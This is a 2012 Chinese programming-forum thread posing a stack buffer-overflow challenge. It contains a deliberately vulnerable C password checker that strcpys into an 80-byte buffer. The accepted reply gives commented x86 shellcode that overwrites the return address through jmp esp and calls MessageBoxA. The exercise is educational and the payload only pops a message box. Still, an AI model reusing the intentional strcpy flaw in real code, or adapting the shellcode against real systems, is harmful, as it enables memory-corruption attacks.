鱼C论坛

 找回密码
 立即注册
查看: 11105|回复: 130

悬赏一百鱼币,大家一起学习C语言溢出漏洞的利用,有木有?!

  [复制链接]
发表于 2012-8-8 22:15:11 | 显示全部楼层 |阅读模式
100鱼币
溢出后如下图:

1.JPG


含有溢出漏洞的C代码:
#include <stdio.h>
#include <string.h>
#include <windows.h>

#define PASSWORD "I_love_www.fishc.com"

int check_password( char *password )
{
        int flag;
        char buffer[80];

        flag = strcmp( password, PASSWORD );
        strcpy( buffer, password );

        return flag;
}

int main()
{
        int flag = 0;
        char password[1024];
        FILE *fp;

        LoadLibrary("user32.dll");

        if( !(fp = fopen("password.txt", "rw+")) )
        {
                printf("Can not open password.txt!\n");
                return 0;
        }
        
        fscanf( fp, "%s", password );
        flag = check_password( password );

        if( flag )
        {
                printf("Incorrect password!\n");
        }
        else
        {
                printf("Congratulation!\n");
        }

        fclose(fp);

        return 0;
}

要求:编辑password.txt文件,运行程序,实现截图界面!
游客,如果您要查看本帖隐藏内容请回复



最佳答案

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
发表于 2012-8-8 22:15:12 | 显示全部楼层
本帖最后由 五月跳回家 于 2012-8-9 11:24 编辑

shellcode
"\x66\x69\x73\x68"//前面填充80个字节栈
"\x12\x45\xfa\x7f"//jmp esp(原eip)
"\x33\xDB\x53"//xor ebx,ebx
"\x68\x63\x6F\x6D\x21"//push    216D6F63
"\x68\x73\x68\x63\x2E"//push    2E636873
"\x68\x6F\x5F\x66\x69"//push    69665F6F
"\x68\x6D\x65\x5F\x74"//push    745F656D
"\x68\x65\x6C\x63\x6F"//push    6F636C65
"\x68\x5E\x5F\x5E\x77"//push    775E5F5E;   ascii ^_^welcome_to_fishc.com! 
"\x8B\xC4"//mov     eax, esp
"\x53"//push    ebx
"\x50"//push    eax
"\x50"//push    eax
"\x53"//push    ebx
"\xB8\x11\xEA\x34\x75"//mov eax,0x7534EA11 ;   我电脑上MessageBoxA的地址 
"\xFF\xD0"//call eax 
"\x53"//push        ebx
"\xB8\xFA\xCA\x81\x7C"//mov     eax, 7C81CAFA
"\xFF\xD0";//call eax;      exit(0)
fishc.jpg

password.rar

185 Bytes, 下载次数: 71

password.txt

想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:20:22 | 显示全部楼层
诱惑 挺大的坐等大牛现身!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:24:24 | 显示全部楼层
终于有动力学习啦
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:25:42 | 显示全部楼层
坐等大牛来~~~小甲鱼什么时候可以把delphi的教程搬过去呢,期待
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:26:50 | 显示全部楼层
最近在看甲鱼哥的汇编,c语言搞到链表吧,文件操作略有接触,对溢出目前茫然。。。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:29:42 | 显示全部楼层
先留个名,嘿嘿:lol
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:31:41 | 显示全部楼层
不是原来另加300鱼币的吗,怎么改了
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:31:47 | 显示全部楼层
刚刚还没隐贴的啊
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:34:48 | 显示全部楼层
这么好玩啊 看看{:1_1:}{:1_1:}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:35:17 | 显示全部楼层
{:2_36:}留个名吧。c不熟
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:37:37 | 显示全部楼层
有意思一定要顶起啊!
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:42:57 | 显示全部楼层
表示不懂。。。。。。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:44:07 | 显示全部楼层
老师已经把程序写出来了。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2012-8-8 22:49:07 | 显示全部楼层
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2012-8-8 22:49:51 | 显示全部楼层
小淘 发表于 2012-8-8 22:44
老师已经把程序写出来了。

要求编辑读取的password.txt利用程序的溢出漏洞加入规定的内容~
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:51:42 | 显示全部楼层
还没有接触者东西呢
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:53:21 | 显示全部楼层
嗯?。。。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 22:55:00 | 显示全部楼层
看看,说不定咱也能拿到手呢
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

发表于 2012-8-8 23:01:29 | 显示全部楼层
小甲鱼 发表于 2012-8-8 22:49
算算难度好像没那么大,所以改200鱼币~

我感觉挺难的,好像涉及到汇编知识,什么堆栈之类的啦
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-11-27 18:36

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表